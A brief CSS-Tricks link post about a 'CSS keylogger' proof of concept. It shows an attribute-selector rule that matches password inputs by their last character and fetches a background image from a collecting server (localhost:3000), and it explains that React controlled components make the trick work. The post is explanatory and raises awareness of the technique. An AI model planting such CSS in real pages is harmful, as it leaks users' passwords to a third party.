CSS Keylogger

Scary little attack using essentially a bunch of attribute selectors like this:
input[type=”password"][value$="a"] {
background-image: url("http://localhost:3000/a");
At first, I was like wait a minute, you can’t select inputs based on what people type in them but only what’s set on the attribute itself. Max Chehab shows how it is possible, however, because React uses "controlled components" that do this by default. Not to mention you can apply the typed value to the attribute easily like:
const inp = …

CSS Keylogger is a post from CSS-Tricks

Link: https://github.com/maxchehab/CSS-Keylogging